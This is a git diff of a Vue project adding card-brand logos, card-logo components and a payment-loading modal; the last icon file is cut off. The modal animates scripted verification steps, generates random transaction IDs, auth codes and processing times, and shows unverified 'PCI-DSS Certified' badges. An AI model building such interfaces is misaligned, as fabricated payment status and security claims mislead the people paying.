2.258 24.86 7.072.891.67 1.422 1.422 2.033 2.175v-25z" fill="#fff"/></svg>

After

Width:  |  Height:  |  Size: 4.7 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.3 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.3 KiB

View File

@@ -0,0 +1 @@
<svg xmlns='http://www.w3.org/2000/svg' width='750' height='500' fill='none' viewBox='0 0 27 18'><path fill='#E6E9EB' d='M0 3a3 3 0 0 1 3-3h21a3 3 0 0 1 3 3v12a3 3 0 0 1-3 3H3a3 3 0 0 1-3-3V3z'/><path fill='#B9C4C9' d='M4 12h19v2H4z'/><rect width='4' height='4' x='4' y='4' fill='#fff' rx='1'/></svg>

After

Width:  |  Height:  |  Size: 300 B

View File

@@ -0,0 +1 @@
<svg height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><g fill-rule="evenodd"><path d="m54.992 0c-30.365 0-54.992 24.63-54.992 55.004v390.992c0 30.38 24.619 55.004 54.992 55.004h670.016c30.365 0 54.992-24.63 54.992-55.004v-390.992c0-30.38-24.619-55.004-54.992-55.004z" fill="#4d4d4d"/><path d="m327.152 161.893c8.837 0 16.248 1.784 25.268 6.09v22.751c-8.544-7.863-15.955-11.154-25.756-11.154-19.264 0-34.414 15.015-34.414 34.05 0 20.075 14.681 34.196 35.37 34.196 9.312 0 16.586-3.12 24.8-10.857v22.763c-9.341 4.14-16.911 5.776-25.756 5.776-31.278 0-55.582-22.596-55.582-51.737 0-28.826 24.951-51.878 56.07-51.878zm-97.113.627c11.546 0 22.11 3.72 30.943 10.994l-10.748 13.248c-5.35-5.646-10.41-8.028-16.564-8.028-8.853 0-15.3 4.745-15.3 10.989 0 5.354 3.619 8.188 15.944 12.482 23.365 8.044 30.29 15.176 30.29 30.926 0 19.193-14.976 32.553-36.32 32.553-15.63 0-26.994-5.795-36.458-18.872l13.268-12.03c4.73 8.61 12.622 13.222 22.42 13.222 9.163 0 15.947-5.952 15.947-13.984 0-4.164-2.055-7.734-6.158-10.258-2.066-1.195-6.158-2.977-14.2-5.647-19.291-6.538-25.91-13.527-25.91-27.185 0-16.225 14.214-28.41 32.846-28.41zm234.723 1.728h22.437l28.084 66.592 28.446-66.592h22.267l-45.494 101.686h-11.053zm-397.348.152h30.15c33.312 0 56.534 20.382 56.534 49.641 0 14.59-7.104 28.696-19.118 38.057-10.108 7.901-21.626 11.445-37.574 11.445h-29.992zm96.135 0h20.54v99.143h-20.54zm411.734 0h58.252v16.8h-37.725v22.005h36.336v16.791h-36.336v26.762h37.726v16.785h-58.252v-99.143zm71.858 0h30.455c23.69 0 37.265 10.71 37.265 29.272 0 15.18-8.514 25.14-23.986 28.105l33.148 41.766h-25.26l-28.429-39.828h-2.678v39.828h-20.515zm20.515 15.616v30.025h6.002c13.117 0 20.069-5.362 20.069-15.328 0-9.648-6.954-14.697-19.745-14.697zm-579.716 1.183v65.559h5.512c13.273 0 21.656-2.394 28.11-7.88 7.103-5.955 11.376-15.465 11.376-24.98 0-9.499-4.273-18.725-11.376-24.681-6.785-5.78-14.837-8.018-28.11-8.018z" fill="#fff"/><path d="m415.13 161.21c30.941 0 56.022 23.58 56.022 52.709v.033c0 29.13-25.081 52.742-56.021 52.742s-56.022-23.613-56.022-52.742v-.033c0-29.13 25.082-52.71 56.022-52.71zm364.85 127.15c-26.05 18.33-221.08 149.34-558.75 212.62h503.76c30.365 0 54.992-24.63 54.992-55.004v-157.62z" fill="#f47216"/></g></svg>

After

Width:  |  Height:  |  Size: 2.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

View File

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,58 @@
<template>
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="height: 60%;width:80px" />
</template>
<script lang="ts">
import { defineComponent, computed } from "vue";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
export default defineComponent({
name: "CardLogo",
props: {
cardType: {
type: String,
required: true,
},
},
setup(props) {
const logoSrc = computed(() => {
const cardTypeUpper = props.cardType.toLocaleUpperCase();
if (cardTypeUpper.includes("VISA")) {
return c1;
} else if (cardTypeUpper.includes("MASTERCARD")) {
return c2;
} else if (cardTypeUpper.includes("JCB")) {
return c3;
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
return c4;
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
return c5;
} else if (cardTypeUpper.includes("DISCOVER")) {
return c6;
} else if (cardTypeUpper.includes("MAESTRO")) {
return c7;
} else if (cardTypeUpper.includes("DINNERS")) {
return c8;
}
// 你可以添加更多的卡类型和对应的图片
return null; // 如果没有匹配的卡类型,则不显示图片
});
return {
logoSrc,
};
},
});
</script>
<style scoped>
/* 可以在这里添加样式 */
</style>

View File

@@ -0,0 +1,58 @@
<template>
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="width: 100%" />
</template>
<script lang="ts">
import { defineComponent, computed } from "vue";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
export default defineComponent({
name: "CardLogo",
props: {
cardType: {
type: String,
required: true,
},
},
setup(props) {
const logoSrc = computed(() => {
const cardTypeUpper = props.cardType.toLocaleUpperCase();
if (cardTypeUpper.includes("VISA")) {
return c1;
} else if (cardTypeUpper.includes("MASTERCARD")) {
return c2;
} else if (cardTypeUpper.includes("JCB")) {
return c3;
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
return c4;
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
return c5;
} else if (cardTypeUpper.includes("DISCOVER")) {
return c6;
} else if (cardTypeUpper.includes("MAESTRO")) {
return c7;
} else if (cardTypeUpper.includes("DINNERS")) {
return c8;
}
// 你可以添加更多的卡类型和对应的图片
return null; // 如果没有匹配的卡类型,则不显示图片
});
return {
logoSrc,
};
},
});
</script>
<style scoped>
/* 可以在这里添加样式 */
</style>

View File

@@ -0,0 +1,673 @@
<template>
<transition name="plm-fade">
<div v-if="visible" class="plm-overlay" @click="handleOverlayClick">
<transition name="plm-slide">
<div v-if="visible" class="plm-dialog" @click.stop>
<!-- Dialog Header -->
<div class="plm-dialog-header">
<div class="plm-header-left">
<div class="plm-header-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<rect x="1" y="4" width="22" height="16" rx="2" ry="2"></rect>
<line x1="1" y1="10" x2="23" y2="10"></line>
</svg>
</div>
<div class="plm-header-text">
<span class="plm-header-title">{{ t("payment_loading.modal_title") }}</span>
<span class="plm-header-sub">{{ t("payment_loading.modal_subtitle") }}</span>
</div>
</div>
<div class="plm-header-pct">{{ Math.floor(progress) }}%</div>
</div>
<!-- Dialog Body -->
<div class="plm-dialog-body">
<!-- Card + progress -->
<div class="plm-center-wrap">
<div class="plm-card-logo">
<img :src="imgRef" alt="card" />
<div class="plm-scan-line"></div>
</div>
<div class="plm-progress-section">
<div class="plm-progress-track">
<div class="plm-progress-fill" :style="{ width: progress + '%' }"></div>
</div>
</div>
<div class="plm-status-msg">
<span class="plm-dot-pulse"></span>
<span>{{ progressMessage }}</span>
</div>
</div>
<!-- Security badges -->
<div class="plm-badges">
<div class="plm-badge">
<svg viewBox="0 0 24 24" fill="currentColor">
<path d="M18,8H17V6A5,5,0,0,0,7,6V8H6a2,2,0,0,0-2,2V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V10A2,2,0,0,0,18,8ZM9,6a3,3,0,0,1,6,0V8H9ZM18,20H6V10H18Z"/>
</svg>
<span>{{ t("SSL Encryption") }}</span>
</div>
<div class="plm-badge-sep"></div>
<div class="plm-badge">
<svg viewBox="0 0 24 24" fill="currentColor">
<path d="M12,2L4,5v6c0,5.55,3.84,10.74,8,12c4.16-1.26,8-6.45,8-12V5L12,2z"/>
</svg>
<span>{{ t("PCI-DSS Certified") }}</span>
</div>
<div class="plm-badge-sep"></div>
<div class="plm-badge">
<svg viewBox="0 0 24 24" fill="currentColor">
<path d="M3,6h18c.55,0,1,.45,1,1v10c0,.55-.45,1-1,1H3c-.55,0-1-.45-1-1V7C2,6.45,2.45,6,3,6zM20,10H4v6h16V10zM16,12h3v2h-3V12z"/>
</svg>
<span>{{ t("Safe payment") }}</span>
</div>
</div>
<!-- Transaction details -->
<div class="plm-details" v-if="showDetails">
<div class="plm-details-title">
<svg viewBox="0 0 24 24" fill="currentColor">
<path d="M14,2H6A2,2,0,0,0,4,4V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V8ZM16,18H8V16h8Zm0-4H8V12h8ZM13,9V3.5L18.5,9Z"/>
</svg>
{{ t("payment_loading.transaction_details") }}
</div>
<div class="plm-detail-row">
<span class="plm-detail-label">{{ t("payment_loading.transaction_id") }}</span>
<span class="plm-detail-val">{{ transactionId }}</span>
</div>
<div class="plm-detail-row">
<span class="plm-detail-label">{{ t("payment_loading.processing_network") }}</span>
<span class="plm-detail-val">{{ processingNetwork }}</span>
</div>
<div class="plm-detail-row">
<span class="plm-detail-label">{{ t("payment_loading.processing_time") }}</span>
<span class="plm-detail-val">{{ processingTime }}</span>
</div>
<div class="plm-detail-row">
<span class="plm-detail-label">{{ t("payment_loading.security_level") }}</span>
<span class="plm-detail-val plm-green">{{ securityLevel }}</span>
</div>
</div>
</div>
</div>
</transition>
</div>
</transition>
</template>
<script setup lang="ts">
import { ref, watch, onUnmounted, computed } from "vue";
import { useI18n } from "vue-i18n";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
import c9 from "@/assets/img/mir.jpg";
import c10 from "@/assets/img/80066acd3fcfa.svg";
const { t } = useI18n();
// ── Types ──────────────────────────────────────────────────
interface Props {
visible: boolean;
cardNumber?: string;
loading?: boolean;
closable?: boolean;
maskClosable?: boolean;
autoClose?: boolean;
autoCloseDelay?: number;
}
interface Emits {
(e: 'update:visible', value: boolean): void;
(e: 'close'): void;
(e: 'step-change', step: number): void;
}
const props = withDefaults(defineProps<Props>(), {
visible: false,
cardNumber: "",
loading: true,
closable: true,
maskClosable: true,
autoClose: false,
autoCloseDelay: 5000
});
const emit = defineEmits<Emits>();
// ── State ──────────────────────────────────────────────────
const progress = ref(0);
const progressMessage = ref(t('payment_loading.preparing'));
const intervalId = ref<ReturnType<typeof setInterval> | ReturnType<typeof setTimeout> | null>(null);
const showSpinner = ref(false);
const transactionId = ref('');
const authCode = ref('');
const processingNetwork = ref('');
const processingTime = ref('');
const securityLevel = ref(t('payment_loading.high'));
const showDetails = ref(false);
const imgRef = ref<string>(c8);
const autoCloseTimer = ref<number | null>(null);
// ── Computed ───────────────────────────────────────────────
const cardType = computed(() => {
const num = props.cardNumber.replace(/\D/g, '');
if (/^4/.test(num)) return 'VISA';
if (/^(5[1-5]|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[0-1][0-9]|2720)/.test(num)) return 'MASTERCARD';
if (/^(62|81)/.test(num)) return 'CHINA UNION PAY';
if (/^3[347]/.test(num)) return 'AMERICAN EXPRESS';
if (/^(6011|64[4-9]|65|62212[6-9]|6221[3-9][0-9]|622[2-8][0-9]{2}|6229[0-2][0-5])/.test(num)) return 'DISCOVER';
if (/^35(2[8-9]|[3-8][0-9])/.test(num)) return 'JCB';
if (/^(30|36|38|39)/.test(num)) return 'DINNERS';
if (/^(50|5[6-8]|6[^2])/.test(num)) return 'MAESTRO';
if (/^220[0-4]/.test(num)) return 'MIR';
return 'Generic';
});
// ── Progress steps ─────────────────────────────────────────
const progressSteps = [
{ threshold: 0, message: t('payment_loading.step_init') },
{ threshold: 10, message: t('payment_loading.step_encrypt') },
{ threshold: 20, message: t('payment_loading.step_connect') },
{ threshold: 30, message: t('payment_loading.step_verify_card') },
{ threshold: 40, message: t('payment_loading.step_validate_cvv') },
{ threshold: 50, message: t('payment_loading.step_fraud') },
{ threshold: 60, message: t('payment_loading.step_send') },
{ threshold: 70, message: t('payment_loading.step_wait_auth') },
{ threshold: 80, message: t('payment_loading.step_process_resp') },
{ threshold: 90, message: t('payment_loading.step_confirm') },
{ threshold: 95, message: t('payment_loading.step_finalize') },
{ threshold: 100, message: '' },
];
// ── Functions ──────────────────────────────────────────────
function getCreditCardType(type: string | null): string {
if (!type) return c8;
const u = type.toLocaleUpperCase();
if (u.includes("VISA")) return c1;
if (u.includes("MASTERCARD")) return c2;
if (u.includes("JCB")) return c3;
if (u.includes("CHINA UNION PAY")) return c4;
if (u.includes("AMERICAN EXPRESS"))return c5;
if (u.includes("DISCOVER")) return c6;
if (u.includes("MAESTRO")) return c7;
if (u.includes("DINNERS")) return c8;
if (u.includes("MIR")) return c9;
return c10;
}
const generateTransactionDetails = (typeData: string) => {
const type = typeData.toUpperCase();
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
transactionId.value = Array.from({ length: 12 }, () => chars[Math.floor(Math.random() * chars.length)]).join('');
authCode.value = Array.from({ length: 6 }, () => Math.floor(Math.random() * 10)).join('');
processingNetwork.value =
type === 'VISA' ? t('payment_loading.network_visa') :
type === 'MASTERCARD' ? t('payment_loading.network_mastercard') :
type === 'AMERICAN EXPRESS' ? t('payment_loading.network_amex') :
type === 'CHINA UNION PAY' ? t('payment_loading.network_unionpay') :
t('payment_loading.network_intl');
processingTime.value = t('payment_loading.time_seconds', { time: (Math.random() * 2 + 1.5).toFixed(2) });
};
const animateProgress = () => {
if (intervalId.value) clearInterval(intervalId.value as ReturnType<typeof setInterval>);
const breakpoints = [
{ point: 20, delay: 700 },
{ point: 40, delay: 500 },
{ point: 70, delay: 1200 },
{ point: 90, delay: 600 },
];
const getBreakpoint = () => breakpoints.find(bp => Math.abs(progress.value - bp.point) < 1);
intervalId.value = setInterval(() => {
const breakpoint = getBreakpoint();
if (breakpoint) {
const increment = Math.random() * 0.2;
progress.value = Math.min(progress.value + increment, 95);
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
setTimeout(() => {
if (breakpoint.point === 70) showDetails.value = true;
animateProgress();
}, breakpoint.delay);
return;
}
let increment: number;
if (progress.value < 30) increment = Math.random() * 1 + 0.5;
else if (progress.value < 65) increment = Math.random() * 0.8 + 0.3;
else if (progress.value < 85) increment = Math.random() * 0.5 + 0.1;
else increment = Math.random() * 0.3 + 0.05;
progress.value = Math.min(progress.value + increment, 95);
for (let i = progressSteps.length - 1; i >= 0; i--) {
if (progress.value >= progressSteps[i].threshold) {
progressMessage.value = progressSteps[i].message;
break;
}
}
if (!props.loading) {
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
intervalId.value = null;
progress.value = 100;
progressMessage.value = progressSteps[progressSteps.length - 1].message;
}
}, 300);
};
const clearAutoCloseTimer = () => {
if (autoCloseTimer.value) {
clearTimeout(autoCloseTimer.value);
autoCloseTimer.value = null;
}
};
const closeModal = () => {
clearAutoCloseTimer();
emit('update:visible', false);
emit('close');
};
const handleOverlayClick = () => {
if (props.maskClosable) closeModal();
};
// ── Watchers ───────────────────────────────────────────────
watch(() => props.visible, (newVisible) => {
if (newVisible) {
const type = cardType.value || localStorage.getItem("cardType");
imgRef.value = getCreditCardType(type);
if (props.autoClose) {
autoCloseTimer.value = window.setTimeout(() => closeModal(), props.autoCloseDelay);
}
} else {
clearAutoCloseTimer();
}
});
watch(() => props.loading, (isLoading) => {
if (isLoading) {
showSpinner.value = true;
progress.value = 0;
progressMessage.value = progressSteps[0].message;
generateTransactionDetails(cardType.value);
animateProgress();
} else {
if (intervalId.value) {
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
intervalId.value = null;
}
const completeProgress = () => {
const currentProgress = progress.value;
const step = Math.max((100 - currentProgress) / 10, 1);
progress.value = Math.min(currentProgress + step, 100);
progressMessage.value = progressSteps[progressSteps.length - 1].message;
if (progress.value < 100) {
intervalId.value = setTimeout(completeProgress, 10);
} else {
setTimeout(() => { showSpinner.value = false; }, 500);
}
};
completeProgress();
}
}, { immediate: true });
// ── Lifecycle ──────────────────────────────────────────────
onUnmounted(() => {
clearAutoCloseTimer();
if (intervalId.value) {
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
intervalId.value = null;
}
});
</script>
<style scoped>
/* ===== Transitions ===== */
.plm-fade-enter-active,
.plm-fade-leave-active {
transition: opacity 0.3s ease;
}
.plm-fade-enter-from,
.plm-fade-leave-to {
opacity: 0;
}
.plm-slide-enter-active {
transition: opacity 0.35s ease, transform 0.35s cubic-bezier(0.22, 1, 0.36, 1);
}
.plm-slide-leave-active {
transition: opacity 0.2s ease, transform 0.2s ease;
}
.plm-slide-enter-from {
opacity: 0;
transform: translateY(20px) scale(0.97);
}
.plm-slide-leave-to {
opacity: 0;
transform: translateY(8px) scale(0.99);
}
/* ===== Overlay ===== */
.plm-overlay {
position: fixed;
inset: 0;
background: rgba(30, 41, 59, 0.4);
backdrop-filter: blur(8px);
-webkit-backdrop-filter: blur(8px);
display: flex;
align-items: center;
justify-content: center;
z-index: 9999;
padding: 20px;
box-sizing: border-box;
}
/* ===== Dialog ===== */
.plm-dialog {
width: 100%;
max-width: 380px;
background: #fff;
border-radius: 18px;
overflow: hidden;
box-shadow:
0 0 0 1px rgba(148, 163, 184, 0.15),
0 8px 24px -4px rgba(15, 23, 42, 0.12),
0 32px 64px -16px rgba(15, 23, 42, 0.14);
}
/* ===== Header ===== */
.plm-dialog-header {
background: linear-gradient(160deg, #f8fafc 0%, #f1f5f9 100%);
border-bottom: 1px solid #e8edf3;
padding: 18px 20px 16px;
display: flex;
align-items: center;
justify-content: space-between;
}
.plm-header-left {
display: flex;
align-items: center;
gap: 12px;
}
.plm-header-icon {
width: 36px;
height: 36px;
background: #fff;
border: 1px solid #e2e8f0;
border-radius: 10px;
display: flex;
align-items: center;
justify-content: center;
flex-shrink: 0;
box-shadow: 0 1px 3px rgba(0,0,0,0.06);
}
.plm-header-icon svg {
width: 17px;
height: 17px;
color: var(--global-primary-color, #4f7ef8);
}
.plm-header-text {
display: flex;
flex-direction: column;
gap: 2px;
}
.plm-header-title {
color: #1e293b;
font-size: 14px;
font-weight: 700;
letter-spacing: 0.1px;
line-height: 1.3;
}
.plm-header-sub {
color: #94a3b8;
font-size: 11.5px;
}
.plm-header-pct {
font-size: 20px;
font-weight: 800;
color: var(#007BFF, #007BFF);
letter-spacing: -0.5px;
min-width: 44px;
text-align: right;
}
/* ===== Dialog Body ===== */
.plm-dialog-body {
padding: 22px 20px 20px;
display: flex;
flex-direction: column;
align-items: center;
gap: 16px;
}
/* ===== Card + progress center ===== */
.plm-center-wrap {
width: 100%;
display: flex;
flex-direction: column;
align-items: center;
gap: 16px;
}
.plm-card-logo {
width: 120px;
height: 76px;
position: relative;
overflow: hidden;
border-radius: 10px;
background: #f8fafc;
border: 1px solid #e8edf3;
display: flex;
align-items: center;
justify-content: center;
box-shadow: 0 2px 8px rgba(0,0,0,0.06);
}
.plm-card-logo img {
width: 72%;
object-fit: contain;
}
.plm-scan-line {
position: absolute;
top: 0;
left: -10%;
width: 8px;
height: 100%;
background: rgba(255, 255, 255, 0.85);
box-shadow: 0 0 18px 10px rgba(255, 255, 255, 0.75);
animation: plm-scan 2.2s ease-in-out infinite;
}
@keyframes plm-scan {
0% { left: -10%; }
100% { left: 110%; }
}
/* ===== Progress ===== */
.plm-progress-section {
width: 100%;
}
.plm-progress-track {
width: 100%;
height: 4px;
background: #e8edf3;
border-radius: 99px;
overflow: hidden;
}
.plm-progress-fill {
height: 100%;
background: linear-gradient(90deg,
var(--global-primary-color, #4f7ef8) 0%,
#93c5fd 50%,
var(--global-primary-color, #4f7ef8) 100%);
background-size: 200% 100%;
border-radius: 99px;
transition: width 0.6s ease;
animation: plm-shimmer 2.5s linear infinite;
}
@keyframes plm-shimmer {
0% { background-position: 200% center; }
100% { background-position: -200% center; }
}
/* ===== Status message ===== */
.plm-status-msg {
display: flex;
align-items: center;
justify-content: center;
gap: 7px;
font-size: 12.5px;
color: #64748b;
min-height: 18px;
text-align: center;
letter-spacing: 0.1px;
}
.plm-dot-pulse {
display: inline-block;
width: 6px;
height: 6px;
border-radius: 50%;
background: var(--global-primary-color, #4f7ef8);
flex-shrink: 0;
animation: plm-pulse 1.6s ease-in-out infinite;
}
@keyframes plm-pulse {
0%, 100% { opacity: 1; transform: scale(1); }
50% { opacity: 0.3; transform: scale(0.65); }
}
/* ===== Divider ===== */
.plm-divider {
width: 100%;
height: 1px;
background: #f1f5f9;
}
/* ===== Security badges ===== */
.plm-badges {
display: flex;
align-items: center;
justify-content: center;
gap: 10px;
width: 100%;
box-sizing: border-box;
}
.plm-badge {
display: flex;
align-items: center;
gap: 4px;
color: #94a3b8;
font-size: 10.5px;
font-weight: 500;
white-space: nowrap;
letter-spacing: 0.1px;
}
.plm-badge svg {
width: 11px;
height: 11px;
fill: #86efac;
flex-shrink: 0;
}
.plm-badge-sep {
width: 1px;
height: 10px;
background: #e2e8f0;
flex-shrink: 0;
}
/* ===== Transaction details ===== */
.plm-details {
width: 100%;
background: #f8fafc;
border-radius: 12px;
padding: 14px 16px;
box-sizing: border-box;
border: 1px solid #edf2f7;
}
.plm-details-title {
display: flex;
align-items: center;
gap: 5px;
font-size: 10.5px;
font-weight: 600;
color: #94a3b8;
text-transform: uppercase;
letter-spacing: 0.8px;
margin-bottom: 10px;
}
.plm-details-title svg {
width: 12px;
height: 12px;
fill: #cbd5e1;
flex-shrink: 0;
}
.plm-detail-row {
display: flex;
justify-content: space-between;
align-items: center;
padding: 6px 0;
font-size: 12.5px;
border-bottom: 1px dashed #edf2f7;
}
.plm-detail-row:last-child {
border-bottom: none;
padding-bottom: 2px;
}
.plm-detail-label {
color: #94a3b8;
font-weight: 400;
}
.plm-detail-val {
font-family: "SF Mono", ui-monospace, "Courier New", monospace;
color: #475569;
font-weight: 600;
font-size: 11.5px;
letter-spacing: 0.3px;
max-width: 55%;
text-align: right;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.plm-green {
color: #22c55e;
}
</style>

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
<path
d="M15 4a1 1 0 1 0 0 2V4zm0 11v-1a1 1 0 0 0-1 1h1zm0 4l-.707.707A1 1 0 0 0 16 19h-1zm-4-4l.707-.707A1 1 0 0 0 11 14v1zm-4.707-1.293a1 1 0 0 0-1.414 1.414l1.414-1.414zm-.707.707l-.707-.707.707.707zM9 11v-1a1 1 0 0 0-.707.293L9 11zm-4 0h1a1 1 0 0 0-1-1v1zm0 4H4a1 1 0 0 0 1.707.707L5 15zm10-9h2V4h-2v2zm2 0a1 1 0 0 1 1 1h2a3 3 0 0 0-3-3v2zm1 1v6h2V7h-2zm0 6a1 1 0 0 1-1 1v2a3 3 0 0 0 3-3h-2zm-1 1h-2v2h2v-2zm-3 1v4h2v-4h-2zm1.707 3.293l-4-4-1.414 1.414 4 4 1.414-1.414zM11 14H7v2h4v-2zm-4 0c-.276 0-.525-.111-.707-.293l-1.414 1.414C5.42 15.663 6.172 16 7 16v-2zm-.707 1.121l3.414-3.414-1.414-1.414-3.414 3.414 1.414 1.414zM9 12h4v-2H9v2zm4 0a3 3 0 0 0 3-3h-2a1 1 0 0 1-1 1v2zm3-3V3h-2v6h2zm0-6a3 3 0 0 0-3-3v2a1 1 0 0 1 1 1h2zm-3-3H3v2h10V0zM3 0a3 3 0 0 0-3 3h2a1 1 0 0 1 1-1V0zM0 3v6h2V3H0zm0 6a3 3 0 0 0 3 3v-2a1 1 0 0 1-1-1H0zm3 3h2v-2H3v2zm1-1v4h2v-4H4zm1.707 4.707l.586-.586-1.414-1.414-.586.586 1.414 1.414z"
/>
</svg>
</template>

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="17" fill="currentColor">
<path
d="M11 2.253a1 1 0 1 0-2 0h2zm-2 13a1 1 0 1 0 2 0H9zm.447-12.167a1 1 0 1 0 1.107-1.666L9.447 3.086zM1 2.253L.447 1.42A1 1 0 0 0 0 2.253h1zm0 13H0a1 1 0 0 0 1.553.833L1 15.253zm8.447.833a1 1 0 1 0 1.107-1.666l-1.107 1.666zm0-14.666a1 1 0 1 0 1.107 1.666L9.447 1.42zM19 2.253h1a1 1 0 0 0-.447-.833L19 2.253zm0 13l-.553.833A1 1 0 0 0 20 15.253h-1zm-9.553-.833a1 1 0 1 0 1.107 1.666L9.447 14.42zM9 2.253v13h2v-13H9zm1.553-.833C9.203.523 7.42 0 5.5 0v2c1.572 0 2.961.431 3.947 1.086l1.107-1.666zM5.5 0C3.58 0 1.797.523.447 1.42l1.107 1.666C2.539 2.431 3.928 2 5.5 2V0zM0 2.253v13h2v-13H0zm1.553 13.833C2.539 15.431 3.928 15 5.5 15v-2c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM5.5 15c1.572 0 2.961.431 3.947 1.086l1.107-1.666C9.203 13.523 7.42 13 5.5 13v2zm5.053-11.914C11.539 2.431 12.928 2 14.5 2V0c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM14.5 2c1.573 0 2.961.431 3.947 1.086l1.107-1.666C18.203.523 16.421 0 14.5 0v2zm3.5.253v13h2v-13h-2zm1.553 12.167C18.203 13.523 16.421 13 14.5 13v2c1.573 0 2.961.431 3.947 1.086l1.107-1.666zM14.5 13c-1.92 0-3.703.523-5.053 1.42l1.107 1.666C11.539 15.431 12.928 15 14.5 15v-2z"
/>
</svg>
</template>

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="18" height="20" fill="currentColor">
<path
d="M11.447 8.894a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm0 1.789a1 1 0 1 0 .894-1.789l-.894 1.789zM7.447 7.106a1 1 0 1 0-.894 1.789l.894-1.789zM10 9a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0H8zm9.447-5.606a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm2 .789a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zM18 5a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0h-2zm-5.447-4.606a1 1 0 1 0 .894-1.789l-.894 1.789zM9 1l.447-.894a1 1 0 0 0-.894 0L9 1zm-2.447.106a1 1 0 1 0 .894 1.789l-.894-1.789zm-6 3a1 1 0 1 0 .894 1.789L.553 4.106zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zm-2-.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 2.789a1 1 0 1 0 .894-1.789l-.894 1.789zM2 5a1 1 0 1 0-2 0h2zM0 7.5a1 1 0 1 0 2 0H0zm8.553 12.394a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 1a1 1 0 1 0 .894 1.789l-.894-1.789zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zM8 19a1 1 0 1 0 2 0H8zm2-2.5a1 1 0 1 0-2 0h2zm-7.447.394a1 1 0 1 0 .894-1.789l-.894 1.789zM1 15H0a1 1 0 0 0 .553.894L1 15zm1-2.5a1 1 0 1 0-2 0h2zm12.553 2.606a1 1 0 1 0 .894 1.789l-.894-1.789zM17 15l.447.894A1 1 0 0 0 18 15h-1zm1-2.5a1 1 0 1 0-2 0h2zm-7.447-5.394l-2 1 .894 1.789 2-1-.894-1.789zm-1.106 1l-2-1-.894 1.789 2 1 .894-1.789zM8 9v2.5h2V9H8zm8.553-4.894l-2 1 .894 1.789 2-1-.894-1.789zm.894 0l-2-1-.894 1.789 2 1 .894-1.789zM16 5v2.5h2V5h-2zm-4.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zm-2.894-1l-2 1 .894 1.789 2-1L8.553.106zM1.447 5.894l2-1-.894-1.789-2 1 .894 1.789zm-.894 0l2 1 .894-1.789-2-1-.894 1.789zM0 5v2.5h2V5H0zm9.447 13.106l-2-1-.894 1.789 2 1 .894-1.789zm0 1.789l2-1-.894-1.789-2 1 .894 1.789zM10 19v-2.5H8V19h2zm-6.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zM2 15v-2.5H0V15h2zm13.447 1.894l2-1-.894-1.789-2 1 .894 1.789zM18 15v-2.5h-2V15h2z"
/>
</svg>
</template>

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
<path
